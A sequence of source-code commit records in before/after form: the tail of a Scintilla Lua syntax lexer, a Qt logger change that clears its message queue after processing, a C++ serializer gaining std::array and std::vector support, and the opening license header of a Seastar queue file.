(keywords4.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD4);\n\t\t\t\t} else if (keywords5.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD5);\n\t\t\t\t} else if (keywords6.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD6);\n\t\t\t\t}\n\t\t\t\tsc.SetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_COMMENTLINE ) {\n\t\t\tif (sc.atLineEnd) {\n\t\t\t\tsc.SetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_PREPROCESSOR ) {\n\t\t\tif (sc.atLineEnd) {\n\t\t\t\tsc.SetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_STRING) {\n\t\t\tif (sc.ch == '\\\\') {\n\t\t\t\tif (sc.chNext == '\\\"' || sc.chNext == '\\'' || sc.chNext == '\\\\') {\n\t\t\t\t\tsc.Forward();\n\t\t\t\t}\n\t\t\t} else if (sc.ch == '\\\"') {\n\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t} else if (sc.atLineEnd) {\n\t\t\t\tsc.ChangeState(SCE_LUA_STRINGEOL);\n\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_CHARACTER) {\n\t\t\tif (sc.ch == '\\\\') {\n\t\t\t\tif (sc.chNext == '\\\"' || sc.chNext == '\\'' || sc.chNext == '\\\\') {\n\t\t\t\t\tsc.Forward();\n\t\t\t\t}\n\t\t\t} else if (sc.ch == '\\'') {\n\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t} else if (sc.atLineEnd) {\n\t\t\t\tsc.ChangeState(SCE_LUA_STRINGEOL);\n\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_LITERALSTRING) {\n\t\t\tif (sc.Match('[', '[')) {\n\t\t\t\tliteralStringLevel++;\n\t\t\t\tsc.Forward();\n\t\t\t\tsc.SetState(SCE_LUA_LITERALSTRING);\n\t\t\t} else if (sc.Match(']', ']') && literalStringLevel > 0) {\n\t\t\t\tliteralStringLevel--;\n\t\t\t\tsc.Forward();\n\t\t\t\tif (literalStringLevel == 0) {\n\t\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_COMMENT) {\t\/\/ Lua 5.0's block comment\n\t\t\tif (sc.Match('[', '[')) {\n\t\t\t\tblockCommentLevel++;\n\t\t\t\tsc.Forward();\n\t\t\t} else if (sc.Match(']', ']') && blockCommentLevel > 0) {\n\t\t\t\tblockCommentLevel--;\n\t\t\t\tsc.Forward();\n\t\t\t\tif (blockCommentLevel == 0) {\n\t\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t\/\/ Determine if a new state should be entered.\n\t\tif (sc.state == SCE_LUA_DEFAULT) {\n\t\t\tif (IsADigit(sc.ch) || (sc.ch == '.' && IsADigit(sc.chNext))) {\n\t\t\t\tsc.SetState(SCE_LUA_NUMBER);\n\t\t\t} else if (IsAWordStart(sc.ch)) {\n\t\t\t\tsc.SetState(SCE_LUA_IDENTIFIER);\n\t\t\t} else if (sc.Match('\\\"')) {\n\t\t\t\tsc.SetState(SCE_LUA_STRING);\n\t\t\t} else if (sc.Match('\\'')) {\n\t\t\t\tsc.SetState(SCE_LUA_CHARACTER);\n\t\t\t} else if (sc.Match('[', '[')) {\n\t\t\t\tliteralStringLevel = 1;\n\t\t\t\tsc.SetState(SCE_LUA_LITERALSTRING);\n\t\t\t\tsc.Forward();\n\t\t\t} else if (sc.Match(\"--[[\")) {\t\/\/ Lua 5.0's block comment\n\t\t\t\tblockCommentLevel = 1;\n\t\t\t\tsc.SetState(SCE_LUA_COMMENT);\n\t\t\t\tsc.Forward(3);\n\t\t\t} else if (sc.Match('-', '-')) {\n\t\t\t\tsc.SetState(SCE_LUA_COMMENTLINE);\n\t\t\t\tsc.Forward();\n\t\t\t} else if (sc.atLineStart && sc.Match('$')) {\n\t\t\t\tsc.SetState(SCE_LUA_PREPROCESSOR);\t\/\/ Obsolete since Lua 4.0, but still in old code\n\t\t\t} else if (isLuaOperator(static_cast<char>(sc.ch))) {\n\t\t\t\tsc.SetState(SCE_LUA_OPERATOR);\n\t\t\t}\n\t\t}\n\t}\n\tsc.Complete();\n}\n\nstatic void FoldLuaDoc(unsigned int startPos, int length, int \/* initStyle *\/, WordList *[],\n Accessor &styler) {\n\tunsigned int lengthDoc = startPos + length;\n\tint visibleChars = 0;\n\tint lineCurrent = styler.GetLine(startPos);\n\tint levelPrev = styler.LevelAt(lineCurrent) & SC_FOLDLEVELNUMBERMASK;\n\tint levelCurrent = levelPrev;\n\tchar chNext = styler[startPos];\n\tbool foldCompact = styler.GetPropertyInt(\"fold.compact\", 1) != 0;\n\tint styleNext = styler.StyleAt(startPos);\n\tchar s[10];\n\n\tfor (unsigned int i = startPos; i < lengthDoc; i++) {\n\t\tchar ch = chNext;\n\t\tchNext = styler.SafeGetCharAt(i + 1);\n\t\tint style = styleNext;\n\t\tstyleNext = styler.StyleAt(i + 1);\n\t\tbool atEOL = (ch == '\\r' && chNext != '\\n') || (ch == '\\n');\n\t\tif (style == SCE_LUA_WORD) {\n\t\t\tif (ch == 'i' || ch == 'd' || ch == 'f' || ch == 'e') {\n\t\t\t\tfor (unsigned int j = 0; j < 8; j++) {\n\t\t\t\t\tif (!iswordchar(styler[i + j])) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\ts[j] = styler[i + j];\n\t\t\t\t\ts[j + 1] = '\\0';\n\t\t\t\t}\n\n\t\t\t\tif ((strcmp(s, \"if\") == 0) || (strcmp(s, \"do\") == 0) || (strcmp(s, \"function\") == 0)) {\n\t\t\t\t\tlevelCurrent++;\n\t\t\t\t}\n\t\t\t\tif ((strcmp(s, \"end\") == 0) || (strcmp(s, \"elseif\") == 0)) {\n\t\t\t\t\tlevelCurrent--;\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (style == SCE_LUA_OPERATOR) {\n\t\t\tif (ch == '{' || ch == '(') {\n\t\t\t\tlevelCurrent++;\n\t\t\t} else if (ch == '}' || ch == ')') {\n\t\t\t\tlevelCurrent--;\n\t\t\t}\n\t\t}\n\n\t\tif (atEOL) {\n\t\t\tint lev = levelPrev;\n\t\t\tif (visibleChars == 0 && foldCompact) {\n\t\t\t\tlev |= SC_FOLDLEVELWHITEFLAG;\n\t\t\t}\n\t\t\tif ((levelCurrent > levelPrev) && (visibleChars > 0)) {\n\t\t\t\tlev |= SC_FOLDLEVELHEADERFLAG;\n\t\t\t}\n\t\t\tif (lev != styler.LevelAt(lineCurrent)) {\n\t\t\t\tstyler.SetLevel(lineCurrent, lev);\n\t\t\t}\n\t\t\tlineCurrent++;\n\t\t\tlevelPrev = levelCurrent;\n\t\t\tvisibleChars = 0;\n\t\t}\n\t\tif (!isspacechar(ch)) {\n\t\t\tvisibleChars++;\n\t\t}\n\t}\n\t\/\/ Fill in the real level of the next line, keeping the current flags as they will be filled in later\n\n\tint flagsNext = styler.LevelAt(lineCurrent) & ~SC_FOLDLEVELNUMBERMASK;\n\tstyler.SetLevel(lineCurrent, levelPrev | flagsNext);\n}\n\nLexerModule lmLua(SCLEX_LUA, ColouriseLuaDoc, \"lua\", FoldLuaDoc);\n<|endoftext|>"} {"text":"<commit_before>#include \"Logger.h\"\n#include <ctime>\n\n#include <QTextStream>\n\nDEFINE_SINGLETON_SCOPE( Logger );\n\nLogger::Logger()\n : mFile( NULL ), mProcessMessages( false )\n{\n}\n\nLogger::~Logger() {\n if( mFile ) {\n delete mFile;\n mFile = NULL;\n }\n}\n\nvoid Logger::StartProcessing() {\n mProcessMessages = true;\n ProcessMessages();\n}\n\nvoid Logger::SetLogPath( const QString& path ) {\n if( mFile )\n delete mFile;\n\n mFile = new QFile( path );\n if( mFile ) {\n mFile->open( QIODevice::WriteOnly | QIODevice::Text );\n }\n}\n\nvoid Logger::ProcessMessages() {\n if( !mProcessMessages )\n return;\n\n for( auto it : mQueue ) {\n LogEventType type = it.first;\n const QString& msg = it.second;\n\n if( mFile && mFile->isOpen() ) {\n QTextStream out( mFile );\n out << msg;\n mFile->flush();\n }\n\n emit NewMessage( type, msg );\n }\n}\n\nvoid Logger::Add( LogEventType type, const char *fmt, ... ) {\n char buffer[ 4096 ];\n\n \/\/ Parse vargs\n va_list args;\n va_start( args, fmt );\n vsnprintf( buffer, sizeof(buffer), fmt, args );\n va_end( args );\n\n \/\/ Timestamp\n char timestamp[ 256 ];\n time_t t = time( 0 );\n struct tm *now = localtime( &t );\n strftime( timestamp, sizeof( timestamp ), \"%H:%M:%S\", now );\n\n \/\/ Decorate\n char decorated[ 4096 ];\n sprintf( decorated, \"[%s] %s: %s\\n\", timestamp, LOG_EVENT_TYPE_NAMES[ type ], buffer );\n QString line( decorated );\n\n mQueue.push_back( QPair< LogEventType, QString >( type, line ) );\n ProcessMessages();\n}\n<commit_msg>Clear log messages upon processing<commit_after>#include \"Logger.h\"\n#include <ctime>\n\n#include <QTextStream>\n\nDEFINE_SINGLETON_SCOPE( Logger );\n\nLogger::Logger()\n : mFile( NULL ), mProcessMessages( false )\n{\n}\n\nLogger::~Logger() {\n if( mFile ) {\n delete mFile;\n mFile = NULL;\n }\n}\n\nvoid Logger::StartProcessing() {\n mProcessMessages = true;\n ProcessMessages();\n}\n\nvoid Logger::SetLogPath( const QString& path ) {\n if( mFile )\n delete mFile;\n\n mFile = new QFile( path );\n if( mFile ) {\n mFile->open( QIODevice::WriteOnly | QIODevice::Text );\n }\n}\n\nvoid Logger::ProcessMessages() {\n if( !mProcessMessages )\n return;\n\n for( auto it : mQueue ) {\n LogEventType type = it.first;\n const QString& msg = it.second;\n\n if( mFile && mFile->isOpen() ) {\n QTextStream out( mFile );\n out << msg;\n mFile->flush();\n }\n\n emit NewMessage( type, msg );\n }\n\n mQueue.clear();\n}\n\nvoid Logger::Add( LogEventType type, const char *fmt, ... ) {\n char buffer[ 4096 ];\n\n \/\/ Parse vargs\n va_list args;\n va_start( args, fmt );\n vsnprintf( buffer, sizeof(buffer), fmt, args );\n va_end( args );\n\n \/\/ Timestamp\n char timestamp[ 256 ];\n time_t t = time( 0 );\n struct tm *now = localtime( &t );\n strftime( timestamp, sizeof( timestamp ), \"%H:%M:%S\", now );\n\n \/\/ Decorate\n char decorated[ 4096 ];\n sprintf( decorated, \"[%s] %s: %s\\n\", timestamp, LOG_EVENT_TYPE_NAMES[ type ], buffer );\n QString line( decorated );\n\n mQueue.push_back( QPair< LogEventType, QString >( type, line ) );\n ProcessMessages();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\nCopyright (C) 2016 - Gbor \"Razzie\" Grzsny\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\nthe Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\nFOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\nCOPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\nIN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE\n*\/\n\n#pragma once\n\n#include <cstdint>\n#include <string>\n#include <type_traits>\n\nnamespace raz\n{\n\tclass SerializationError : public std::exception\n\t{\n\tpublic:\n\t\tvirtual const char* what() const\n\t\t{\n\t\t\treturn \"Serialization error\";\n\t\t}\n\t};\n\n\tenum SerializationMode\n\t{\n\t\tSERIALIZE,\n\t\tDESERIALIZE\n\t};\n\n\ttemplate<class BufferType, bool EndiannessConversion = false>\n\tclass Serializer : public BufferType\n\t{\n\tpublic:\n\t\ttemplate<class... Args>\n\t\tSerializer(Args... args) : BufferType(std::forward<Args>(args)...)\n\t\t{\n\t\t}\n\n\t\ttemplate<class I>\n\t\ttypename std::enable_if_t<std::is_integral<I>::value, Serializer>&\n\t\t\toperator()(I& i)\n\t\t{\n\t\t\tif (BufferType::getMode() == SerializationMode::SERIALIZE)\n\t\t\t{\n\t\t\t\tI tmp = i;\n\n\t\t\t\tif (sizeof(I) > 1 && EndiannessConversion && !isBigEndian())\n\t\t\t\t\ttmp = swapEndianness(tmp);\n\n\t\t\t\tif (BufferType::write(reinterpret_cast<const char*>(&tmp), sizeof(I)) < sizeof(I))\n\t\t\t\t\tthrow SerializationError();\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tI tmp;\n\n\t\t\t\tif (BufferType::read(reinterpret_cast<char*>(&tmp), sizeof(I)) < sizeof(I))\n\t\t\t\t\tthrow SerializationError();\n\n\t\t\t\tif (sizeof(I) > 1 && EndiannessConversion && !isBigEndian())\n\t\t\t\t\ttmp = swapEndianness(tmp);\n\n\t\t\t\ti = tmp;\n\t\t\t}\n\n\t\t\treturn *this;\n\t\t}\n\n\t\tSerializer& operator()(float& f)\n\t\t{\n\t\t\tif (BufferType::getMode() == SerializationMode::SERIALIZE)\n\t\t\t{\n\t\t\t\tuint32_t tmp = static_cast<uint32_t>(pack754(f, 32, 8));\n\t\t\t\t(*this)(tmp);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tuint32_t tmp;\n\t\t\t\t(*this)(tmp);\n\t\t\t\tf = static_cast<float>(unpack754(tmp, 32, 8));\n\t\t\t}\n\n\t\t\treturn *this;\n\t\t}\n\n\t\tSerializer& operator()(double& d)\n\t\t{\n\t\t\tif (BufferType::getMode() == SerializationMode::SERIALIZE)\n\t\t\t{\n\t\t\t\tuint64_t tmp = pack754(d, 64, 11);\n\t\t\t\t(*this)(tmp);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tuint64_t tmp;\n\t\t\t\t(*this)(tmp);\n\t\t\t\td = static_cast<double>(unpack754(tmp, 64, 11));\n\t\t\t}\n\n\t\t\treturn *this;\n\t\t}\n\n\t\ttemplate<class Allocator>\n\t\tSerializer& operator()(std::basic_string<char, std::char_traits<char>, Allocator>& str)\n\t\t{\n\t\t\tif (BufferType::getMode() == SerializationMode::SERIALIZE)\n\t\t\t{\n\t\t\t\tuint32_t len = static_cast<uint32_t>(str.length());\n\t\t\t\t(*this)(len);\n\n\t\t\t\tif (BufferType::write(str.c_str(), len) < len)\n\t\t\t\t\tthrow SerializationError();\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tuint32_t len;\n\t\t\t\t(*this)(len);\n\n\t\t\t\tstr.resize(len);\n\t\t\t\tif (BufferType::read(&str[0], len) < len)\n\t\t\t\t\tthrow SerializationError();\n\t\t\t}\n\n\t\t\treturn *this;\n\t\t}\n\n\t\ttemplate<class T>\n\t\ttypename std::enable_if_t<!std::is_arithmetic<T>::value, Serializer>& operator()(T& t)\n\t\t{\n\t\t\tt(*this);\n\t\t\treturn *this;\n\t\t}\n\n\tprivate:\n\t\tstatic constexpr bool isBigEndian()\n\t\t{\n\t\t\tunion\n\t\t\t{\n\t\t\t\tuint32_t i;\n\t\t\t\tchar c[4];\n\t\t\t} chk = { 0x01020304 };\n\n\t\t\treturn (chk.c[0] == 1);\n\t\t}\n\n\t\ttemplate<class T>\n\t\tstatic T swapEndianness(T t)\n\t\t{\n\t\t\tunion\n\t\t\t{\n\t\t\t\tT t;\n\t\t\t\tunsigned char t8[sizeof(T)];\n\t\t\t} source, dest;\n\n\t\t\tsource.t = t;\n\n\t\t\tfor (size_t i = 0; i < sizeof(T); i++)\n\t\t\t\tdest.t8[i] = source.t8[sizeof(T) - i - 1];\n\n\t\t\treturn dest.t;\n\t\t}\n\n#pragma warning(push)\n#pragma warning(disable: 4244) \/\/ possible loss of data\n\n\t\t\/*\n\t\tOriginal public domain code:\n\t\thttp:\/\/beej.us\/guide\/bgnet\/examples\/ieee754.c\n\t\t*\/\n\n\t\tstatic uint64_t pack754(long double f, unsigned bits, unsigned expbits)\n\t\t{\n\t\t\tlong double fnorm;\n\t\t\tint shift;\n\t\t\tlong long sign, exp, significand;\n\t\t\tunsigned significandbits = bits - expbits - 1; \/\/ -1 for sign bit\n\n\t\t\tif (f == 0.0) return 0; \/\/ get this special case out of the way\n\n\t\t\t\t\t\t\t\t\t\/\/ check sign and begin normalization\n\t\t\tif (f < 0) { sign = 1; fnorm = -f; }\n\t\t\telse { sign = 0; fnorm = f; }\n\n\t\t\t\/\/ get the normalized form of f and track the exponent\n\t\t\tshift = 0;\n\t\t\twhile (fnorm >= 2.0) { fnorm \/= 2.0; shift++; }\n\t\t\twhile (fnorm < 1.0) { fnorm *= 2.0; shift--; }\n\t\t\tfnorm = fnorm - 1.0;\n\n\t\t\t\/\/ calculate the binary form (non-float) of the significand data\n\t\t\tsignificand = fnorm * ((1LL << significandbits) + 0.5f);\n\n\t\t\t\/\/ get the biased exponent\n\t\t\texp = shift + ((1 << (expbits - 1)) - 1); \/\/ shift + bias\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/ return the final answer\n\t\t\treturn (sign << (bits - 1)) | (exp << (bits - expbits - 1)) | significand;\n\t\t}\n\n\t\tstatic long double unpack754(uint64_t i, unsigned bits, unsigned expbits)\n\t\t{\n\t\t\tlong double result;\n\t\t\tlong long shift;\n\t\t\tunsigned bias;\n\t\t\tunsigned significandbits = bits - expbits - 1; \/\/ -1 for sign bit\n\n\t\t\tif (i == 0) return 0.0;\n\n\t\t\t\/\/ pull the significand\n\t\t\tresult = (i&((1LL << significandbits) - 1)); \/\/ mask\n\t\t\tresult \/= (1LL << significandbits); \/\/ convert back to float\n\t\t\tresult += 1.0f; \/\/ add the one back on\n\n\t\t\t\t\t\t\t\/\/ deal with the exponent\n\t\t\tbias = (1 << (expbits - 1)) - 1;\n\t\t\tshift = ((i >> significandbits)&((1LL << expbits) - 1)) - bias;\n\t\t\twhile (shift > 0) { result *= 2.0; shift--; }\n\t\t\twhile (shift < 0) { result \/= 2.0; shift++; }\n\n\t\t\t\/\/ sign it\n\t\t\tresult *= (i >> (bits - 1)) & 1 ? -1.0 : 1.0;\n\n\t\t\treturn result;\n\t\t}\n\n#pragma warning(pop)\n\n\t};\n\n\ttemplate<class T>\n\tclass IsSerializer\n\t{\n\t\ttemplate<class U, bool E>\n\t\tstatic std::true_type test(Serializer<U, E> const &);\n\n\t\tstatic std::false_type test(...);\n\n\tpublic:\n\t\tstatic bool const value = decltype(test(std::declval<T>()))::value;\n\t};\n\n\ttemplate<class Serializer, class T = void>\n\tusing EnableSerializer = std::enable_if_t<IsSerializer<Serializer>::value, T>;\n}\n<commit_msg>Added std::array and std::vector compatibility to Serializer<commit_after>\/*\nCopyright (C) 2016 - Gbor \"Razzie\" Grzsny\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\nthe Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\nFOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\nCOPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\nIN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE\n*\/\n\n#pragma once\n\n#include <array>\n#include <cstdint>\n#include <string>\n#include <vector>\n#include <type_traits>\n\nnamespace raz\n{\n\tclass SerializationError : public std::exception\n\t{\n\tpublic:\n\t\tvirtual const char* what() const\n\t\t{\n\t\t\treturn \"Serialization error\";\n\t\t}\n\t};\n\n\tenum SerializationMode\n\t{\n\t\tSERIALIZE,\n\t\tDESERIALIZE\n\t};\n\n\ttemplate<class BufferType, bool EndiannessConversion = false>\n\tclass Serializer : public BufferType\n\t{\n\tpublic:\n\t\ttemplate<class... Args>\n\t\tSerializer(Args... args) : BufferType(std::forward<Args>(args)...)\n\t\t{\n\t\t}\n\n\t\ttemplate<class I>\n\t\ttypename std::enable_if_t<std::is_integral<I>::value, Serializer>&\n\t\t\toperator()(I& i)\n\t\t{\n\t\t\tif (BufferType::getMode() == SerializationMode::SERIALIZE)\n\t\t\t{\n\t\t\t\tI tmp = i;\n\n\t\t\t\tif (sizeof(I) > 1 && EndiannessConversion && !isBigEndian())\n\t\t\t\t\ttmp = swapEndianness(tmp);\n\n\t\t\t\tif (BufferType::write(reinterpret_cast<const char*>(&tmp), sizeof(I)) < sizeof(I))\n\t\t\t\t\tthrow SerializationError();\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tI tmp;\n\n\t\t\t\tif (BufferType::read(reinterpret_cast<char*>(&tmp), sizeof(I)) < sizeof(I))\n\t\t\t\t\tthrow SerializationError();\n\n\t\t\t\tif (sizeof(I) > 1 && EndiannessConversion && !isBigEndian())\n\t\t\t\t\ttmp = swapEndianness(tmp);\n\n\t\t\t\ti = tmp;\n\t\t\t}\n\n\t\t\treturn *this;\n\t\t}\n\n\t\tSerializer& operator()(float& f)\n\t\t{\n\t\t\tif (BufferType::getMode() == SerializationMode::SERIALIZE)\n\t\t\t{\n\t\t\t\tuint32_t tmp = static_cast<uint32_t>(pack754(f, 32, 8));\n\t\t\t\t(*this)(tmp);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tuint32_t tmp;\n\t\t\t\t(*this)(tmp);\n\t\t\t\tf = static_cast<float>(unpack754(tmp, 32, 8));\n\t\t\t}\n\n\t\t\treturn *this;\n\t\t}\n\n\t\tSerializer& operator()(double& d)\n\t\t{\n\t\t\tif (BufferType::getMode() == SerializationMode::SERIALIZE)\n\t\t\t{\n\t\t\t\tuint64_t tmp = pack754(d, 64, 11);\n\t\t\t\t(*this)(tmp);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tuint64_t tmp;\n\t\t\t\t(*this)(tmp);\n\t\t\t\td = static_cast<double>(unpack754(tmp, 64, 11));\n\t\t\t}\n\n\t\t\treturn *this;\n\t\t}\n\n\t\ttemplate<class T, size_t N>\n\t\tSerializer& operator()(std::array<T, N>& arr)\n\t\t{\n\t\t\tfor (auto& t : arr)\n\t\t\t\t(*this)(t);\n\t\t}\n\n\t\ttemplate<class Allocator>\n\t\tSerializer& operator()(std::basic_string<char, std::char_traits<char>, Allocator>& str)\n\t\t{\n\t\t\tif (BufferType::getMode() == SerializationMode::SERIALIZE)\n\t\t\t{\n\t\t\t\tuint32_t len = static_cast<uint32_t>(str.length());\n\t\t\t\t(*this)(len);\n\n\t\t\t\tif (BufferType::write(str.c_str(), len) < len)\n\t\t\t\t\tthrow SerializationError();\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tuint32_t len;\n\t\t\t\t(*this)(len);\n\n\t\t\t\tstr.resize(len);\n\n\t\t\t\tif (BufferType::read(&str[0], len) < len)\n\t\t\t\t\tthrow SerializationError();\n\t\t\t}\n\n\t\t\treturn *this;\n\t\t}\n\n\t\ttemplate<class T, class Allocator>\n\t\tSerializer& operator()(std::vector<T, Allocator>& vec)\n\t\t{\n\t\t\tif (BufferType::getMode() == SerializationMode::SERIALIZE)\n\t\t\t{\n\t\t\t\tuint32_t len = static_cast<uint32_t>(vec.size());\n\t\t\t\t(*this)(len);\n\n\t\t\t\tfor (auto& t : vec)\n\t\t\t\t\t(*this)(t);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tuint32_t len;\n\t\t\t\t(*this)(len);\n\n\t\t\t\tvec.resize(vec.size() + len);\n\n\t\t\t\tfor (auto& t : vec)\n\t\t\t\t\t(*this)(t);\n\t\t\t}\n\n\t\t\treturn *this;\n\t\t}\n\n\t\ttemplate<class T>\n\t\ttypename std::enable_if_t<!std::is_arithmetic<T>::value, Serializer>& operator()(T& t)\n\t\t{\n\t\t\tt(*this);\n\t\t\treturn *this;\n\t\t}\n\n\tprivate:\n\t\tstatic constexpr bool isBigEndian()\n\t\t{\n\t\t\tunion\n\t\t\t{\n\t\t\t\tuint32_t i;\n\t\t\t\tchar c[4];\n\t\t\t} chk = { 0x01020304 };\n\n\t\t\treturn (chk.c[0] == 1);\n\t\t}\n\n\t\ttemplate<class T>\n\t\tstatic T swapEndianness(T t)\n\t\t{\n\t\t\tunion\n\t\t\t{\n\t\t\t\tT t;\n\t\t\t\tunsigned char t8[sizeof(T)];\n\t\t\t} source, dest;\n\n\t\t\tsource.t = t;\n\n\t\t\tfor (size_t i = 0; i < sizeof(T); i++)\n\t\t\t\tdest.t8[i] = source.t8[sizeof(T) - i - 1];\n\n\t\t\treturn dest.t;\n\t\t}\n\n#pragma warning(push)\n#pragma warning(disable: 4244) \/\/ possible loss of data\n\n\t\t\/*\n\t\tOriginal public domain code:\n\t\thttp:\/\/beej.us\/guide\/bgnet\/examples\/ieee754.c\n\t\t*\/\n\n\t\tstatic uint64_t pack754(long double f, unsigned bits, unsigned expbits)\n\t\t{\n\t\t\tlong double fnorm;\n\t\t\tint shift;\n\t\t\tlong long sign, exp, significand;\n\t\t\tunsigned significandbits = bits - expbits - 1; \/\/ -1 for sign bit\n\n\t\t\tif (f == 0.0) return 0; \/\/ get this special case out of the way\n\n\t\t\t\t\t\t\t\t\t\/\/ check sign and begin normalization\n\t\t\tif (f < 0) { sign = 1; fnorm = -f; }\n\t\t\telse { sign = 0; fnorm = f; }\n\n\t\t\t\/\/ get the normalized form of f and track the exponent\n\t\t\tshift = 0;\n\t\t\twhile (fnorm >= 2.0) { fnorm \/= 2.0; shift++; }\n\t\t\twhile (fnorm < 1.0) { fnorm *= 2.0; shift--; }\n\t\t\tfnorm = fnorm - 1.0;\n\n\t\t\t\/\/ calculate the binary form (non-float) of the significand data\n\t\t\tsignificand = fnorm * ((1LL << significandbits) + 0.5f);\n\n\t\t\t\/\/ get the biased exponent\n\t\t\texp = shift + ((1 << (expbits - 1)) - 1); \/\/ shift + bias\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/ return the final answer\n\t\t\treturn (sign << (bits - 1)) | (exp << (bits - expbits - 1)) | significand;\n\t\t}\n\n\t\tstatic long double unpack754(uint64_t i, unsigned bits, unsigned expbits)\n\t\t{\n\t\t\tlong double result;\n\t\t\tlong long shift;\n\t\t\tunsigned bias;\n\t\t\tunsigned significandbits = bits - expbits - 1; \/\/ -1 for sign bit\n\n\t\t\tif (i == 0) return 0.0;\n\n\t\t\t\/\/ pull the significand\n\t\t\tresult = (i&((1LL << significandbits) - 1)); \/\/ mask\n\t\t\tresult \/= (1LL << significandbits); \/\/ convert back to float\n\t\t\tresult += 1.0f; \/\/ add the one back on\n\n\t\t\t\t\t\t\t\/\/ deal with the exponent\n\t\t\tbias = (1 << (expbits - 1)) - 1;\n\t\t\tshift = ((i >> significandbits)&((1LL << expbits) - 1)) - bias;\n\t\t\twhile (shift > 0) { result *= 2.0; shift--; }\n\t\t\twhile (shift < 0) { result \/= 2.0; shift++; }\n\n\t\t\t\/\/ sign it\n\t\t\tresult *= (i >> (bits - 1)) & 1 ? -1.0 : 1.0;\n\n\t\t\treturn result;\n\t\t}\n\n#pragma warning(pop)\n\n\t};\n\n\ttemplate<class T>\n\tclass IsSerializer\n\t{\n\t\ttemplate<class U, bool E>\n\t\tstatic std::true_type test(Serializer<U, E> const &);\n\n\t\tstatic std::false_type test(...);\n\n\tpublic:\n\t\tstatic bool const value = decltype(test(std::declval<T>()))::value;\n\t};\n\n\ttemplate<class Serializer, class T = void>\n\tusing EnableSerializer = std::enable_if_t<IsSerializer<Serializer>::value, T>;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * This file is open source software, licensed to you under the terms\n * of the Apache License, Version 2.0 (the \"License\"). See the NOTICE file\n * distributed with this work for additional information regarding copyright\n * ownership. You may not use this file except in compliance with the License.\n *\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\/*\n * Copyright (C) 2014 Cloudius Systems, Ltd.\n *\/\n\n#pragma once\n\n#include <seastar\/core\/circular_buffer.hh>\n#include <seastar\/core\/future.hh>\n#include <queue>\n#include <seastar\/util\/std-compat.hh>\n\nnamespace seastar {\n\n\/\/\/ Asynchronous single-producer single-consumer queue with limited 